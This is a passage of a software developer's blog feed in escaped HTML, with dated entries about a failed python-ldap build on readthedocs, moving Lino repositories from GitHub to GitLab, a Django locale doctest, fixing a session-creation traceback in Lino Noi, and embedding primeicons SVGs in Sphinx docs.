class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;LDAPObject&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;
    &lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;LDAPObject&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;Modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;common&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fatal&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lber&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
     &lt;span class="c1"&gt;#include &amp;lt;lber.h&amp;gt;&lt;/span&gt;
              &lt;span class="o"&gt;^~~~~~~~&lt;/span&gt;
    &lt;span class="n"&gt;compilation&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
    &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;gcc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt; &lt;span class="n"&gt;errored&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;checkouts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;readthedocs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;user_builds&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;envs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-ykcugga8/python-ldap_83a5250d16a044fa869a8c46aa4c0922/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;; __file__=&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-ykcugga8/python-ldap_83a5250d16a044fa869a8c46aa4c0922/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;f=getattr(tokenize, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;open&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;))&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exm7_nyl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;single&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;externally&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;managed&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;checkouts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;readthedocs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;user_builds&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;envs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ldap&lt;/span&gt; &lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;logs&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So the &lt;cite&gt;pip install python_ldap&lt;/cite&gt; doesn’t work. Yes, python_ldap has some  &lt;a class="reference external" href="https://www.python-ldap.org/en/python-ldap-3.3.0/installing.html#build-prerequisites"&gt;build
prerequisites&lt;/a&gt;,
but readthedocs doesn’t seem to have an option where I can tell it to install
them. I read &lt;a class="reference external" href="https://docs.readthedocs.io/en/latest/config-file/v2.html"&gt;their docs page&lt;/a&gt; but couldn’t find
any such option.  So I abandoned once more.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="publish-the-lino-book-on-gitlab"&gt;
&lt;h2&gt;Publish the Lino Book on GitLab&lt;a class="headerlink" href="#publish-the-lino-book-on-gitlab" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before deleting the project on RTD, I should publish the docs somewhere else. On
GitHub pages? Last time I tried this, it was a bit twisted because GitHub
doesn’t care much about Sphinx. And anyway I want to move to GitLab.&lt;/p&gt;
&lt;p&gt;Current situation:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go book
$ git remote -v show
origin        git@github.com:lino-framework/book.git (fetch)
origin        git@github.com:lino-framework/book.git (push)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Let’s try to change this (as instructed &lt;a class="reference external" href="https://docs.gitlab.com/ee/user/project/working_with_projects.html#push-to-create-a-new-project"&gt;here&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go book
$ git push --set-upstream git@gitlab.com:lino-framework/book.git master
Counting objects: 23898, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (7741/7741), done.
Writing objects: 100% (23898/23898), 34.35 MiB | 622.00 KiB/s, done.
Total 23898 (delta 17150), reused 22397 (delta 15930)
remote: Resolving deltas: 100% (17150/17150), done.
remote:
remote:
remote: The private project lino-framework/book was successfully created.
remote:
remote: To configure the remote, run:
remote:   git remote add origin git@gitlab.com:lino-framework/book.git
remote:
remote: To view the project, visit:
remote:   https://gitlab.com/lino-framework/book
remote:
remote:
remote:
To gitlab.com:lino-framework/book.git
 * [new branch]        master -&amp;gt; master
Branch &amp;#39;master&amp;#39; set up to track remote branch &amp;#39;master&amp;#39; from &amp;#39;git@gitlab.com:lino-framework/book.git&amp;#39;.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Before I can add a remote, I must remove the existing remote:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git remote rm origin
$ git remote add origin git@gitlab.com:lino-framework/book.git
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, seems that it worked:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git remote -v show
origin        git@gitlab.com:lino-framework/book.git (fetch)
origin        git@gitlab.com:lino-framework/book.git (push)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Next step is to add a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.gitlab-ci.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file.  I just copied that of
the &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt; project, which is already on GitLab.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="evening-session"&gt;
&lt;h2&gt;Evening session&lt;a class="headerlink" href="#evening-session" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yes, I moved the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;Community Guide&lt;/span&gt;&lt;/a&gt; from GitHub to GitLab.
This was easier because there is no test suite, just a Sphinx build.&lt;/p&gt;
&lt;p&gt;And then &lt;a class="reference external" href="https://atelier.lino-framework.org/index.html#atelier" title="(in atelier v1.1)"&gt;&lt;span&gt;Atelier&lt;/span&gt;&lt;/a&gt;, which I also released to PyPI because &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt;
has intersphinx dependencies to it.&lt;/p&gt;
&lt;p&gt;Next time I will continue to move repositories from GH to GL. It will take some
time until all links in all docs are updated.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0311.html</guid><pubDate>Thu, 11 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, March 7, 2021</title><link>https://luc.lino-framework.org/blog/2021/0307.html</link><description>&lt;section id="sunday-march-7-2021"&gt;
&lt;h1&gt;Sunday, March 7, 2021&lt;a class="headerlink" href="#sunday-march-7-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0307.html</guid><pubDate>Sun, 07 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, March 3, 2021</title><link>https://luc.lino-framework.org/blog/2021/0303.html</link><description>&lt;section id="wednesday-march-3-2021"&gt;
&lt;h1&gt;Wednesday, March 3, 2021&lt;a class="headerlink" href="#wednesday-march-3-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.utils.translation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;to_locale&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;to_locale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;zh-hant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;zh_Hant&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.core.site&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;to_locale&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;to_locale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;zh-hant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;zh_Hant&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0303.html</guid><pubDate>Wed, 03 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Friday, February 26, 2021</title><link>https://luc.lino-framework.org/blog/2021/0226.html</link><description>&lt;section id="friday-february-26-2021"&gt;
&lt;h1&gt;Friday, February 26, 2021&lt;a class="headerlink" href="#friday-february-26-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Mehedi is discovering &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; and caused the following server traceback:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Internal&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;MySessions&lt;/span&gt;&lt;span class="o"&gt;/-&lt;/span&gt;&lt;span class="mi"&gt;99999&lt;/span&gt;
&lt;span class="n"&gt;RelatedObjectDoesNotExist&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;MySessions&lt;/span&gt;&lt;span class="o"&gt;/-&lt;/span&gt;&lt;span class="mi"&gt;99999&lt;/span&gt;
&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, he probably tried to click the &lt;a class="reference internal" href="https://gitlab.com/lino-framework/lino/-/raw/master/lino/static/images/mjames/add.png?inline=false"&gt;&lt;img alt="insert" src="https://gitlab.com/lino-framework/lino/-/raw/master/lino/static/images/mjames/add.png?inline=false" style="height: 1em;" /&gt;&lt;/a&gt; button in
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/working.html#lino_xl.lib.working.MySessions" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working.MySessions&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
or some other table of &lt;a class="reference external" href="https://using.lino-framework.org/plugins/working.html#term-working-session" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;working sessions&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To create a session, you must click on the
&lt;span class="guilabel"&gt;▶&lt;/span&gt; button in the &lt;span class="guilabel"&gt;Workflow&lt;/span&gt; field (which runs the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/working.html#lino_xl.lib.working.StartTicketSession" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working.StartTicketSession&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; action).&lt;/p&gt;
&lt;p&gt;In tables of &lt;a class="reference external" href="https://using.lino-framework.org/plugins/working.html#term-working-session" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;working sessions&lt;/span&gt;&lt;/a&gt; we don’t want users to
manually create a session. There should be no insert button (&lt;a class="reference internal" href="https://gitlab.com/lino-framework/lino/-/raw/master/lino/static/images/mjames/add.png?inline=false"&gt;&lt;img alt="insert" src="https://gitlab.com/lino-framework/lino/-/raw/master/lino/static/images/mjames/add.png?inline=false" style="height: 1em;" /&gt;&lt;/a&gt;) So for
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/working.html#lino_xl.lib.working.Sessions" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working.Sessions&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I removed the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.actors.Actor.insert_layout" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;insert_layout&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Having no &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.actors.Actor.insert_layout" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;insert_layout&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; doesn’t
yet disable the phantom row in grid views.  For this I must also set
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;can_create&lt;/span&gt;&lt;/code&gt; to &lt;cite&gt;False&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I committed above work in two repositories:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2021-02-26 06:21 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/1e5764279c5661f265d3c42de93ffceb8a0cb403"&gt;a0cb403&lt;/a&gt;
(fix #3993 (session has no ticket))&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-02-26 06:23 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/d486e0dffb07d721659f8e252e6d48b3b0b4591d"&gt;0b4591d&lt;/a&gt;
(changelog. review docs about work time.)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="inserting-primeicon-icons-into-the-sphinx-docs"&gt;
&lt;h2&gt;Inserting primeicon icons into the sphinx docs&lt;a class="headerlink" href="#inserting-primeicon-icons-into-the-sphinx-docs" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;How to include icons from &lt;a class="reference external" href="https://github.com/primefaces/primeicons"&gt;primeicons&lt;/a&gt;
into a docs page? For example the &lt;img alt="filter button" class="pi-button" src="../../_images/filter.svg" /&gt; button?&lt;/p&gt;
&lt;p&gt;I downloaded the source file to a folder &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/shared/images/pi&lt;/span&gt;&lt;/code&gt; (under &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ curl https://raw.githubusercontent.com/primefaces/primeicons/master/raw-svg/filter.svg &amp;gt; filter.svg
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I added docutils &lt;a class="reference external" href="https://docutils.sourceforge.io/docs/ref/rst/restructuredtext.html#substitution-definitions"&gt;substitution definitions&lt;/a&gt;
to my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/shared/include/defs.rst&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt; &lt;span class="o"&gt;/../&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;images&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;svg&lt;/span&gt;
  &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;svg&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And in the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;linodocs.css&lt;/span&gt;&lt;/code&gt; file of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.logo.html#module-lino.sphinxcontrib.logo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.logo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I added
the css descriptor:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="n"&gt;em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="n"&gt;em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;LightSkyBlue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
